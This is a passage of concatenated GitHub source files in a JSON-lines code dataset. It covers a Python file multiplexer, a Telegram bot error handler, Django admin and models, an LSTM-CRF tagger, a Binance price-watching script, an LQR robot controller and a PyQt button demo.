self.__buff[-1] = []\n for xfile, obj in filemap:\n fcntl.fcntl(xfile.fileno(), fcntl.F_SETFL, os.O_NONBLOCK)\n self.__poll.register(xfile, select.POLLIN | select.POLLPRI)\n self.__fds[xfile.fileno()] = xfile\n self.__objs[xfile.fileno()] = obj\n self.__buff[xfile.fileno()] = \"\"\n\n def __del__(self):\n for fd in self.__fds.values():\n self.__poll.unregister(fd.fileno())\n\n def __iter__(self):\n return self\n\n def __unregister_fd(self, fd):\n \"\"\"Closes file object, deletes it from poll,\n frees buffer.\n\n Returns the rest of buffer.\"\"\"\n self.__poll.unregister(fd)\n self.__fds[fd].close()\n del self.__fds[fd]\n result = self.__buff[fd]\n del self.__buff[fd]\n del self.__objs[fd]\n return result\n\n def __get_buff(self):\n \"\"\"Returns text from buffer.\n\n Returns None if buffers are empty.\"\"\"\n if len(self.__buff[-1]) > 0:\n return self.__buff[-1].pop(0)\n\n for key, buff in self.__buff.items():\n if key == -1:\n continue\n splited = buff.split('\\n', 1)\n if len(splited) > 1:\n self.__buff[key] = splited[1]\n return self.__objs[key], splited[0]\n return None\n\n def next(self):\n \"\"\"Returns tuple (object for file, next line).\"\"\"\n buff = self.__get_buff()\n if buff is not None:\n return buff\n\n if len(self.__fds) > 0:\n# if len(self.__fds) < 3:\n# print \"FDS: \", self.__fds\n result = []\n for fd, event in self.__poll.poll():\n if event & (select.POLLIN | select.POLLPRI) != 0:\n x = os.read(fd, BUFSIZE)\n if len(x) == 0:\n obj = self.__objs[fd]\n text = self.__unregister_fd(fd)\n result.append((obj, text))\n else:\n self.__buff[fd] += x\n else:\n obj = self.__objs[fd]\n result.append((obj, self.__unregister_fd(fd)))\n self.__buff[-1].extend(result)\n buff = self.__get_buff()\n if buff is None:\n # it's really dirty hack to avoid \"Buffers are empty\" exception\n return self.next()\n else:\n return buff\n else:\n raise StopIteration\n\nfrom itertools import repeat, izip\ndef MuxReader(files):\n \"\"\"Class multiplexes a number of file descriptors in the one\n iterable object by newline.\n\n Example:\n fds = [os.popen2('echo -e 1\\\\n2')[1], os.popen2('echo -e 3\\\\n4')[1]]\n mr = MuxReader(fds)\n for line in mr:\n print line\n\n Should print something like:\n 1\n 3\n 2\n 4\n Iterable returns one line from any file.\n\n WARNING!!! MuxReader closes files at exit.\n WARNING!!! MuxReader sets files to O_NONBLOCK mode.\"\"\"\n filemap = zip(files, repeat(1))\n for obj, line in AdvMuxReader(filemap):\n yield line\n","repo_name":"shigin/radist","sub_path":"radist/mux_fds.py","file_name":"mux_fds.py","file_ext":"py","file_size_in_byte":4244,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"28608028237","text":"from telegram import Update\nfrom telegram.ext import CallbackContext\nfrom .log_conf import logger\n\n\nasync def wrong_id_error(update: Update, **args) -> None:\n msg = 'Sorry, you are not my sweet sweet master.'\n await update.message.reply_text(msg)\n\n\nasync def no_image_url(update: Update, **args) -> None:\n await update.message.reply_text('Something went wrong and'\n ' there is no image url.')\n\n\nasync def empty_api_key(update: Update, **args) -> None:\n msg = 'The api key for selected site is empty! Check your .env settings.'\n await update.message.reply_text(msg)\n\n\nasync def empty_site_info(update: Update, **args) -> None:\n msg = 'One of the selected site parameters is empty! Check your logs.'\n await update.message.reply_text(msg)\n\n\nasync def status_code_not_200(update: Update, **args) -> None:\n msg = 'Got an unexpected status code from selected site.'\n await update.message.reply_text(msg)\n\n\nasync def empty_booru_result(update: Update, **args) -> None:\n msg = 'Found nothing with these tags!'\n await update.message.reply_text(msg)\n\n\nasync def non_resolvable_response(update: Update,\n context: CallbackContext) -> None:\n response = context.error.response\n post_url = response.get('post_url', 'Somewhere from paheal')\n if post_url:\n msg = ('Got non resolvable response from selected booru. Check logs.'\n f'You can check original post here: {post_url}')\n else:\n msg = 'Got non resolvable response from selected booru. Check logs.'\n await update.message.reply_text(msg)\n\nEXCEPTION_CHOICES = {\n 'WrongChatID': wrong_id_error,\n 'NoImageURL': no_image_url,\n 'EmptyAPIKey': empty_api_key,\n 'EmptySiteInfo': empty_site_info,\n 'StatusCodeNot200': status_code_not_200,\n 'EmptyBooruResult': empty_booru_result,\n 'NonResolvableResponse': non_resolvable_response\n}\n\n\nasync def error_callback(update: Update, context: CallbackContext) -> None:\n exception_name = context.error.__class__.__name__\n exception_func = EXCEPTION_CHOICES.get(exception_name)\n if exception_func:\n await exception_func(update, context)\n else:\n await update.message.reply_text(str(context.error))\n logger.error(context.error)\n logger.exception('Exception:')\n","repo_name":"RiteHist/katbot-2000","sub_path":"src/modules/error_handler.py","file_name":"error_handler.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"72532418811","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\n# from rooms/models import models as room_models\nfrom . import models\n\n\n# class PhotoInline(admin.StackedInline):\n# model = room_models.Photo\n\n\n@admin.register(models.User)\nclass CustomUserAdmin(admin.ModelAdmin):\n\n \"\"\" Custom User Admin \"\"\"\n\n # inlines = (PhotoInline, )\n\n list_filter = UserAdmin.list_filter + (\n \"currency\",\n \"superhost\",\n \"language\"\n )\n fieldsets = UserAdmin.fieldsets + (\n (\n \"Custom Profile\",\n {\n \"fields\": (\n \"avatar\",\n \"gender\",\n \"bio\",\n \"birthdate\",\n \"language\",\n \"currency\",\n \"superhost\",\n \"email_verified\",\n \"email_secret\",\n \"login_method\",\n )\n },\n ),\n )\n list_display = (\n \"username\",\n \"first_name\",\n \"last_name\",\n \"email\",\n \"is_active\",\n \"gender\",\n \"language\",\n \"currency\",\n \"is_staff\",\n \"is_superuser\",\n \"email_verified\",\n \"email_secret\",\n \"login_method\",\n )","repo_name":"gnshjoo/airbnb-clone","sub_path":"users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"73801174650","text":"import torch\nimport torch.autograd as autograd\nimport torch.nn as nn\nimport torch.optim as optim\nfrom .CRF import CRF\nimport utils\n# torch.manual_seed(1)\nfrom utils.util_functions import *\n\nfrom .StackedLSTM import StackedLSTM\n\nclass ResLSTM_CRF(nn.Module):\n # __constants__ = ['device']\n\n def __init__(self, vocab_size, tagset_size, config):\n super(ResLSTM_CRF, self).__init__()\n self.device = config.device\n self.embedding_dim = config.embedding_dim\n self.num_layers = config.num_layers\n self.hidden_dim = config.hidden_dim\n self.vocab_size = vocab_size\n self.tagset_size = tagset_size + 2\n self.batch_size = config.batch_size\n\n self.bidirectional = config.bidirectional\n self.num_direction = 1\n if self.bidirectional:\n self.num_direction = 2\n\n self.word_embeds = nn.Embedding(vocab_size, config.embedding_dim)\n self.emb_drop = nn.Dropout(config.emb_dropout)\n self.bilstm = nn.LSTM(config.embedding_dim, config.hidden_dim // 2,\n num_layers=1, bidirectional=True, batch_first=True)\n\n self.lstm = StackedLSTM(self.num_layers, input_size=config.hidden_dim, config=config)\n\n self.hidden1 = (nn.Parameter(torch.randn(self.num_direction, 1, self.hidden_dim // 2)).to(self.device),\n nn.Parameter(torch.randn(self.num_direction, 1, self.hidden_dim // 2)).to(self.device))\n self.hidden2 = (nn.Parameter(torch.randn(self.num_layers, 1, self.hidden_dim)).to(self.device),\n nn.Parameter(torch.randn(self.num_layers, 1, self.hidden_dim)).to(self.device))\n # Maps the output of the LSTM into tag space.\n self.hidden2tag = nn.Linear(config.hidden_dim, self.tagset_size)\n\n self.crf = CRF(self.tagset_size, config)\n\n def init_hidden(self, num_hidden, batch_size, hidden_dim):\n # return (torch.zeros(self.num_direction * self.num_layers, batch_size, self.hidden_dim),\n # torch.zeros(self.num_direction * self.num_layers, batch_size, self.hidden_dim))\n return (torch.randn(num_hidden, batch_size, hidden_dim).to(self.device),\n torch.randn(num_hidden, batch_size, hidden_dim).to(self.device))\n\n def _get_lstm_features(self, sentence, lengths):\n batch_size = sentence.size(0)\n # bilstm_hidden = self.init_hidden(self.num_direction, batch_size, self.hidden_dim // 2)\n bilstm_hidden = (self.hidden1[0].repeat(1, batch_size, 1), self.hidden1[1].repeat(1, batch_size, 1))\n embeds = self.emb_drop(self.word_embeds(sentence))\n embeds = nn.utils.rnn.pack_padded_sequence(embeds, lengths, batch_first=True)\n bilstm_out, _ = self.bilstm(embeds, bilstm_hidden)\n bilstm_out, _ = nn.utils.rnn.pad_packed_sequence(bilstm_out, batch_first=True, padding_value=utils.PAD)\n\n # lstm_hidden = self.init_hidden(self.num_layers, batch_size, self.hidden_dim)\n lstm_hidden = (self.hidden2[0].repeat(1, batch_size, 1), self.hidden2[1].repeat(1, batch_size, 1))\n lstm_out = []\n for t in range(sentence.size(1)):\n out_t, lstm_hidden = self.lstm(bilstm_out[:, t], lstm_hidden)\n lstm_out.append(out_t)\n lstm_out = torch.stack(lstm_out, 0)\n lstm_out = lstm_out.transpose(0, 1)\n\n lstm_feats = self.hidden2tag(lstm_out)\n return lstm_feats\n\n def neg_log_likelihood(self, sentence, tags, lengths):\n feats = self._get_lstm_features(sentence, lengths)\n forward_score = self.crf(feats, lengths)\n gold_score = self.crf.score(feats, tags, lengths)\n return forward_score - gold_score\n\n def forward(self, sentence, lengths, nbest=1, constrained_masks=None):\n # Get the emission scores from the BiLSTM\n lstm_feats = self._get_lstm_features(sentence, lengths)\n\n # Find the best path, given the features.\n if nbest <= 1:\n score, tag_seq = self.crf.decode(lstm_feats, lengths, constrained_masks)\n else:\n score, tag_seq = self.crf.decode_nbest(lstm_feats, lengths, nbest)\n return score, tag_seq\n","repo_name":"jiqiujia/DeepSegment","sub_path":"models/reslstm_crf.py","file_name":"reslstm_crf.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"25727057074","text":"from datetime import datetime\n\nfrom sqlalchemy.orm import Session\nfrom models.game import Game\nfrom services._db_service import DbService\n\n\nclass GameService(DbService):\n def __init__(self, db: Session):\n super().__init__(db)\n\n def create_new_game(self, start_time: datetime, team_1_id: int, team_2_id: int, season_id: int):\n \"\"\"Creates new game in the db\"\"\"\n new_game = Game()\n new_game.start_time = start_time\n new_game.team_1_id = team_1_id\n new_game.team_2_id = team_2_id\n new_game.season_id = season_id\n self.db.add(new_game)\n self.db.commit()\n\n def create_new_games(self, games: list):\n \"\"\"Creates new games in the db\"\"\"\n for game in games:\n new_game = Game()\n new_game.start_time = game.start_time\n new_game.team_1_id = game.team_1_id\n new_game.team_2_id = game.team_2_id\n new_game.season_id = game.season_id\n self.db.add(new_game)\n self.db.commit()\n\n def get_game(self, game_id: int) -> Game:\n \"\"\"Returns a Game model based on supplied game_id\"\"\"\n return self.db.query(Game).filter(Game.id == game_id).first()\n","repo_name":"nathanstuart01/odd_investing","sub_path":"services/games.py","file_name":"games.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"19047359428","text":"from spyceModule import spyceModule\nimport spyceException\n\n__doc__ = '''Redirect module provides support for different kinds of request\nredirection, currently: internal, external and externalRefresh.\n- internal: flush the current output bufffer (assuming it has not been sent)\n and raise an appropriate exception that will start the processing of the\n new file, if left to percolate all the way to the Spyce engine. The\n browser url does not change.\n- external: send an HTTP return code that signals a permanent or temporary\n page move, depending on the boolean parameter. Spyce file execution will\n continue to termination, but the output buffer is flushed at the end and a\n special redirect document is generated. The browser is expected, as per the\n standard, to immediately redirect and perform a new request, thus the url\n will change.\n- externalRefresh: send an HTTP Refresh header that requests a page refresh to\n a (possibly) new location within some number of seconds. The current Spyce\n page will be displayed until that time. This is often used to display a page\n before redirecting the browser to a file download.\n'''\n\nclass redirect(spyceModule):\n def start(self):\n self.clear = 0\n def finish(self, theError=None):\n if not theError:\n if self.clear:\n self._api.getModule('response').clear()\n def internal(self, file):\n \"Perform an internal redirect.\"\n self._api.getModule('response').clearHeaders()\n self._api.getModule('response').clear()\n file = os.path.join(os.path.dirname(self._api.getFilename()), file)\n raise spyceException.spyceRedirect(file)\n def external(self, url, permanent=0):\n \"Perform an external redirect.\"\n self._api.getModule('response').addHeader('Location', url)\n if permanent:\n self._api.getModule('response').setReturnCode(self._api.getResponse().RETURN_MOVED_PERMANENTLY)\n else:\n self._api.getModule('response').setReturnCode(self._api.getResponse().RETURN_MOVED_TEMPORARILY)\n self.clear = 1\n def externalRefresh(self, url, sec=0):\n \"Perform an external redirect, via refresh.\"\n self._api.getModule('response').addHeader('Refresh', '%d; URL=%s' % (sec, url))\n","repo_name":"Rocky5/XBMC4Gamers","sub_path":"Mod Files/system/python/spyce/modules/redirect.py","file_name":"redirect.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","stars":159,"dataset":"github-code","pt":"78"}
+{"seq_id":"4313532723","text":"from django.db import models\nfrom django_celery_results.models import TaskResult\n\nfrom .managers import BlastDatabaseManager\n\n\nclass AssemblyLevels(models.Model):\n assembly_level = models.CharField(max_length=50)\n\n\nclass BlastDatabase(models.Model):\n # attribute fields\n database_name = models.CharField(\n max_length=200,\n blank=False, unique=True,\n verbose_name=\"database name\")\n database_description = models.CharField(\n max_length=200,\n verbose_name=\"short description of database purpose\")\n\n assembly_entries = models.IntegerField(\n verbose_name=\"number of assembly entries that should get downloaded\")\n\n timestamp = models.DateTimeField(\n auto_now=True,\n verbose_name=\"date of database creation\")\n\n uploaded_files = models.BooleanField(\n default=False, blank=True, null=True\n )\n\n # possibility to add a taxonomic file\n attached_taxonomic_node_file = models.CharField(\n max_length=300,\n blank=True, null=True,\n verbose_name=\"associated taxonomic file, which was used to limit assembly entries in db creation by taxids\")\n path_to_database_file = models.CharField(\n max_length=300,\n blank=True, null=True,\n verbose_name=\"after makeblastdb task has finished this field is set automatically with the path to the BLAST database\")\n\n # relationships\n database_download_and_format_task = models.OneToOneField(\n TaskResult,\n on_delete=models.CASCADE,\n blank=True, null=True,\n verbose_name=\"django_celery_results taskresult model for download and formatting procedure\")\n\n # use the assembly_levels.SQL script for uploading the four existing assembly levels into the database\n assembly_levels = models.ManyToManyField(\n to=AssemblyLevels,\n verbose_name=\"possible assembly levels within this BLAST database\")\n\n objects = BlastDatabaseManager()\n\n # functions\n def __str__(self):\n return \"BLAST database: {}, created {} with {} entries.\\n\\t Database description: {}\".format(\n self.database_name,\n self.timestamp,\n self.assembly_entries,\n self.database_description)\n\n def get_pandas_table_name(self):\n return self.database_name.replace(' ', '_').upper()\n\n # used for updating\n def get_database_palfile_for_snakemake_config(self):\n return self.path_to_database_file + '/' + self.database_name.replace(' ', '_').upper() + '.database.pal'\n","repo_name":"Kanomble/celery_blast","sub_path":"celery_blast/refseq_transactions/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"70147497533","text":"\n# %%\n\nimport websocket, json\nfrom datetime import datetime\nimport time as tm\nimport telebot\n#from pandas.errors import EmptyDataError\nimport xlwings as xw\n#from binance.client import Client as Clientas\nimport logging\nfrom binance.lib.utils import config_logging\nfrom binance.websocket.futures.websocket_client import FuturesWebsocketClient as Client\nimport datetime # wasn't imported\nimport time # wasn't imported\nconfig_logging(logging, logging.DEBUG)\n\n# %%\n\ndef calc(templtp,openn,close,high,low,vol):\n try:\n templtp,tempopen,templtp,temphigh,templow,tempvol = templtp,openn,close,high,low,vol\n except Exception as e:\n print(\"Exception occured: \",e)\n pass\n return long,longtp1,longtp2,longtp3,longsl,short,shorttp1,shorttp2,shorttp3,shortsl \n\nglobal long,longtp1,longtp2,longtp3,longsl,short,shorttp1,shorttp2,shorttp3,shortsl,date,price\nlongfl = 0\nshortfl = 0\nsecurelongtp = 0\nsecureshortp = 0\nsecurelongsl = 0\nlot=0\nsecureshorsl = 0\nlong_repeat = 0\nshort_repeat = 0\ntempprev=0\nlong=0\nlongtp1=0\nlongtp2=0\nlongtp3=0\nlongsl=0\nshort=0\nshorttp1=0\nshorttp2=0\nshorttp3=0\nshortsl=0\ndate=0\nprice=0\n#Client.API_URL = \"https://testnet.binance.vision/api\"\napi_key = ''\napi_secret = ''\n\n\ndef message_handler(message):\n global longfl,shortfl,securelongtp,secureshortp,securelongsl,secureshorsl,short_repeat,long_repeat,tempprev,lot\n global long,longtp1,longtp2,longtp3,longsl,short,shorttp1,shorttp2,shorttp3,shortsl,date,price\n\n try:\n candle = message['k']\n is_candle_closed = candle['x']\n openn = candle['o']\n openn = float(openn)\n close = candle['c']\n close = float(close)\n high = candle['h']\n high =float(high)\n low = candle['l']\n low = float(low)\n vol = candle['v'] \n vol = float(vol)\n time = (datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n priceopen = openn\n balance = 0\n from binance.client import Client\n\n client = Client(api_key,api_secret)\n print(\"logged in\")\n\n if longfl == 0 and shortfl == 0 and lot ==0:\n arrr = client.aggregate_trade_iter(symbol='BTCUSDT', start_str='2 minutes ago GMT+5:30')\n templtp = next(arrr)['p']\n templtp = float(templtp) \n long,longtp1,longtp2,longtp3,longsl,short,shorttp1,shorttp2,shorttp3,shortsl=calc(templtp,openn,close,high,low,vol)\n print(long,longtp1,longtp2,longtp3,longsl,short,shorttp1,shorttp2,shorttp3,shortsl)\n lot=1\n dateopen = (datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n #long entry\n if ((priceopen > long) and (priceopen < (long + 15)) and shortfl == 0 and longfl == 0) and (lot==1):\n print(f\"price: {priceopen}\")\n dateopen = (datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n print(f\"date: {dateopen}\")\n securelongtp = longtp1;\n securelongsl = longsl;\n balance = 49.9925 / close\n print(\"balance bought: \",balance)\n print(f'Entered long at --> Price : ${priceopen}, TP : ${securelongtp},SL: ${securelongsl} ',dateopen)\n longfl = 1\n lot=0\n\n if longfl == 1 and priceopen >= securelongtp and (lot==1):\n print(f\"price: {priceopen}\")\n dateopen = (datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n print(f\"date: {dateopen}\")\n print(f'Trade Exit Long at TP --> ${priceopen} ', dateopen)\n longfl = 0\n lot=0\n\n if longfl == 1 and priceopen < securelongsl and (lot==1):\n print(f\"price: {priceopen}\")\n dateopen = (datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n print(f\"date: {dateopen}\")\n print(f'Trade Exit Long at SL--> ${priceopen}', dateopen)\n longfl = 0\n lot=0\n\n #short entery \n if short_repeat != short and priceopen < short and priceopen > (short - 15) and shortfl == 0 and longfl == 0 and (lot==1):\n print(f\"price: {priceopen}\")\n dateopen = (datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n print(f\"date: {dateopen}\")\n short_repeat = short\n secureshortp = shorttp1\n secureshorsl = shortsl\n shortfl = 1\n print(f'Entered short at --> Price : ${priceopen},TP : ${secureshortp},SL: ${secureshorsl}', dateopen)\n lot=0\n\n if shortfl == 1 and priceopen <= secureshortp and (lot==1):\n print(f\"price: {priceopen}\")\n dateopen = (datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n print(f\"date: {dateopen}\")\n print(f'Trade Exit Short at TP--> ${priceopen} ',dateopen)\n shortfl = 0\n lot=0\n\n if shortfl == 1 and priceopen > secureshorsl and (lot==1):\n print(f\"price: {priceopen}\")\n dateopen = (datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n print(f\"date: {dateopen}\")\n print(f'Trade Exit Short at SL--> ${priceopen}',dateopen)\n shortfl = 0\n lot=0\n\n if (priceopen < shorttp3) and(lot==0):\n print(candle)\n arrr = client.aggregate_trade_iter(symbol='BTCUSDT', start_str='2 minutes ago GMT+5:30')\n print(arrr)\n templtp = next(arrr)['p']\n templtp = float(templtp) \n openn = candle['o']\n openn = float(openn)\n close = candle['c']\n close = float(close)\n high = candle['h']\n high =float(high)\n low = candle['l']\n low = float(low)\n vol = candle['v'] \n vol = float(vol)\n tempdate = time\n long,longtp1,longtp2,longtp3,longsl,short,shorttp1,shorttp2,shorttp3,shortsl=calc(templtp,openn,close,high,low,vol)\n print(long,longtp1,longtp2,longtp3,longsl,short,shorttp1,shorttp2,shorttp3,shortsl)\n print(\"bcz priceopen < shorttp3\")\n dateopen = (datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n\n if (priceopen > longtp3) and lot==0:\n print(candle)\n arrr = client.aggregate_trade_iter(symbol='BTCUSDT', start_str='2 minutes ago GMT+5:30')\n print(arrr)\n templtp = next(arrr)['p']\n templtp = float(templtp) \n openn = candle['o']\n openn = float(openn)\n close = candle['c']\n close = float(close)\n high = candle['h']\n high =float(high)\n low = candle['l']\n low = float(low)\n vol = candle['v'] \n vol = float(vol)\n tempdate = time\n long,longtp1,longtp2,longtp3,longsl,short,shorttp1,shorttp2,shorttp3,shortsl=calc(templtp,openn,close,high,low,vol)\n print(long,longtp1,longtp2,longtp3,longsl,short,shorttp1,shorttp2,shorttp3,shortsl)\n print(\"bcz priceopen > longtp3\")\n print(priceopen)\n except Exception as e:\n print(\"Exception occured: \",e)\n pass\n\nmy_client = Client()\nmy_client.start()\n\nmy_client.continuous_kline(\n pair=\"btcusdt\",\n id=1,\n contractType=\"perpetual\", \n interval='1m',\n callback=message_handler,\n)","repo_name":"izzortsi/trailing_orders","sub_path":"tas/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23286167345","text":"\"\"\"\n\n\n\"\"\"\n\n\nimport gym\nimport d4rl\nimport mujoco_py\nimport numpy as np\nfrom mujoco_py import functions\n\n\ndef set_state(env, qpos, qvel):\n\n\tstate = env.sim.get_state()\n\tfor i in range(env.n_jnt):\n\t\tstate[i] = qpos[i]\n\tfor i in range(env.model.nq,env.model.nq+env.n_jnt):\n\t\tstate[i] = qvel[i-env.model.nq]\n\tenv.sim.set_state(state)\n\tenv.sim.forward()\n\n\ndef linearize(env, Xref, Uref):\n\n\t# import ipdb;ipdb.set_trace()\n\tN = Xref.shape[0]\n\tn,m = 18, 9\n\tenv.reset()\n\tA = [np.zeros((n,n)) for k in range(0,N-1)]\n\tB = [np.zeros((n,m)) for k in range(0,N-1)]\n\n\tdelta = 0.0001\n\n\tfor step in range(N-1):\n\n\t\tx = Xref[step]\n\t\tu = Uref[step]\n\n\t\tset_state(env,x[:9],x[9:18])\n\n\t\t# observation, reward, done, info = env.step(u)\n\t\t# forward sim\n\t\tfor i in range(env.model.nu):\n\t\t\tenv.sim.data.ctrl[i] = u[i]\n\t\tenv.sim.step()\n\n\t\tfxu = np.concatenate((env.sim.data.qpos[:9],env.sim.data.qvel[:9]))\n\n\t\tfor i in range(18):\n\t\t\tdx = np.zeros(18)\n\t\t\tdx[i] += delta\n\n\t\t\tset_state(env,x[:9]+ dx[:9],x[9:18]+ dx[9:])\n\t\t\tfor i in range(env.model.nu):\n\t\t\t\tenv.sim.data.ctrl[i] = u[i]\n\t\t\tenv.sim.step()\n\n\t\t\tfdxu = np.concatenate((env.sim.data.qpos[:9],env.sim.data.qvel[:9]))\n\t\t\tA[step][:, i] = (fdxu - fxu) / delta\n\n\t\tfor i in range(9):\n\t\t\tdu = np.zeros(9)\n\t\t\tdu[i] += delta\n\n\t\t\tset_state(env,x[:9],x[9:18])\n\t\t\tfor i in range(env.model.nu):\n\t\t\t\tenv.sim.data.ctrl[i] = (u+du)[i]\n\t\t\tenv.sim.step()\n\n\t\t\tfxdu = np.concatenate((env.sim.data.qpos[:9],env.sim.data.qvel[:9]))\n\t\t\tB[step][:, i] = (fxdu - fxu) / delta\n\t\t# print(step)\n\t# np.save('A.npy', A)\n\t# np.save('B.npy', B)\n\n\treturn A, B\n\n\ndef stage_cost(x, u, xref, uref,Q,R):\n \"\"\"\n LQR cost at each knot point (depends on both x and u)\n \"\"\"\n\n J = 0.0\n J = 0.5 * (x - xref).transpose()@ Q @(x-xref)+0.5*(u).transpose()@ R @ (u)\n return J\n\n\n\ndef term_cost(x, xref,Qf):\n J = 0.0\n J = 0.5 * (x - xref).transpose()@ Qf@(x-xref)\n return J\n\ndef trajectory_cost(X, U, Xref, Uref, Q,R,Qf):\n# calculate the cost of a given trajectory\n J = 0.0\n n = Xref.shape[0]\n for i in range(0,n-1):\n J += stage_cost(X[i], U[i], Xref[i], Uref[i], Q,R)\n J += term_cost(X[n-1], Xref[n-1], Qf)\n return J\n\n\n\ndef tvlqr(A,B,Q,R,Qf):\n\n\tn,m = B[1].shape\n\tN = len(A)+1\n\tK = [np.zeros((m,n)) for k in range(0,N-1)]\n\tP = [np.zeros((n,n)) for k in range(0,N)]\n\tP[-1] = Qf\n\tfor k in reversed(range(0,N-1)):\n\t\tK[k] = np.linalg.pinv(R + B[k].T@P[k+1]@B[k]) @ (B[k].T@P[k+1]@A[k])\n\t\t# K[k] .= (R + B[k]'P[k+1]*B[k])\\(B[k]'P[k+1]*A[k])\n\t\tP[k] = Q + A[k].T@P[k+1]@A[k] - A[k].T@P[k+1]@B[k]@K[k]\n\treturn K,P\n\n# def cost()\n\ndef forward_sim(env,K,P,Xref,Uref,Q,R,Qf):\n\t# return cost\n\timport matplotlib.pyplot as plt\n\tcost = 0\n\tN = len(K)+1\n\n\tX = [np.zeros(18) for k in range(0,N)]\n\tU = [np.zeros(9) for k in range(0,N-1)]\n\tobservation = env.reset()\n\tX[0] = observation[:18]\n\n\tpid_k = np.concatenate((np.identity(9)*1,np.identity(9)*0.01),axis=1)\n\n\tfor k in range(0,N-1):\n\t\tU[k] = Uref[k] - K[k]@(X[k]-Xref[k])\n\t\t# U[k] = Uref[k] - pid_k @ (X[k] - Xref[k])\n\n\t\t# U[k] = clamp.(U[k], -u_bnd, u_bnd)\n\t\tobservation, reward, done, info = env.step(U[k])\n\t\t# env.render()\n\t\tX[k+1] = observation[:18]\n\t\t# X[k+1] = true_dynamics_rk4(model, X[k], U[k], dt)\n\t\t# cost += 0.5*(X[k]-Xref[k])@Q@((X[k]-Xref[k])) + 0.5*(U[k])@R@(U[k])\n\t# cost += 0.5*(X[N-1]-Xref[N-1])@Qf@((X[N-1]-Xref[N-1]))\n\n\t\n\tX = np.asarray(X)\n\tU = np.asarray(U)\n\tXref = np.asarray(Xref)\n\tprint(cost)\n\t# for joint in range(0,7):\n\t# \tplt.plot(X[:,joint],label='tracked tajectory')\n\t# \tplt.plot(Xref[:,joint],label='reference tajectory')\n\t# \tplt.legend()\n\t# \tplt.xlabel(\"time step\")\n\t# \tplt.ylabel(\"joint \"+str(joint))\n\t# \tplt.show()\n\n\tcost = trajectory_cost(X,U,Xref,Uref,Q,R,Qf)\n\tprint(cost)\n\treturn X,cost\n\n\nif __name__ == '__main__':\n\tenv = gym.make('kitchen-complete-v0')\n\tenv.reset()\n\t# A = np.load('A.npy')\n\t# B = np.load('B.npy')\n\tU_ref = np.load('data/trial3/Uref.npy')[:160]\n\tX_ref = np.load('data/trial3/obs.npy')[:160]\n\n\tX_ref[20:29, 7:9] = 0.04\n\tX_ref[29:45, 7:9] = 0.002\n\tX_ref[45:60, 7:9] = 0.04\n\tX_ref[65:75, 7:9] = 0.002\n\tU_ref[29:45, 7:9] = -1\n\tU_ref[65:75, 7:9] = -1\n\n\t# import ipdb;ipdb.set_trace()\n\n\tq = [10]*9+[1]*9\n\tQ = np.diag(q)\n\tQf = Q\n\tR = np.identity(9)*10\n\n\tA,B = linearize(env,X_ref,U_ref)\n\tK,P = tvlqr(A,B,Q,R,Qf)\n\t# import ipdb;ipdb.set_trace()\n\n\ttvlqr_X,cost = forward_sim(env,K,P,X_ref,U_ref,Q,R,Qf)\n\tnp.save('data/trial3/tvlqr/x.npy',tvlqr_X)\n\t# while True:\n\t# \tenv.render()\n\t# \tenv.sim.data.qpos[:self.n_jnt] = reset_pose[:self.n_jnt].copy()\n\t# \tenv.sim.data.qvel[:self.n_jnt] = reset_vel[:self.n_jnt].copy()\n\t# \tenv.step(action)\n","repo_name":"dkguo/Optimal-Control-of-Simulated-Kitchen-Tasks","sub_path":"code/lqr_work.py","file_name":"lqr_work.py","file_ext":"py","file_size_in_byte":4543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"16806462932","text":"import sys\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import QFont\n\nfont = QFont(\"Verdana\", 12)\nclass Window(QWidget):\n def __init__(self):\n super().__init__()\n\n self.setGeometry(40, 40, 400, 400)\n self.setWindowTitle(\"Buton Oluşturma\")\n self.interface()\n\n def interface(self):\n self.setWindowTitle(\"Butonlara Fonksiyon Ekleme\")\n self.QLabel = QLabel(\"Merhaba Python\", self)\n self.QLabel.setFont(font)\n self.QLabel.move(130,40)\n\n self.buton1 = QPushButton(\"Giriş\", self)\n self.buton1.move(120,80)\n self.buton1.setFont(font)\n self.buton1.clicked.connect(self.funcButon1)\n\n self.buton2 = QPushButton(\"Çıkış\", self)\n self.buton2.move(200, 80)\n self.buton2.setFont(font)\n self.buton2.clicked.connect(self.funcButon2)\n\n self.show()\n\n def funcButon1(self):\n self.QLabel.resize(180, 30)\n self.QLabel.setText(\"Çıkış Butonuna Basıldı\")\n self.setWindowTitle(\"Çıkış butonu aktif\")\n self.buton1.close()\n\n def funcButon2(self):\n self.QLabel.resize(180, 30)\n self.QLabel.setText(\"Giriş Butonuna Basıldı\")\n self.setWindowTitle(\"Giriş butonu aktif\")\n self.buton2.close()\n\n\napp = QApplication(sys.argv)\nwindow = 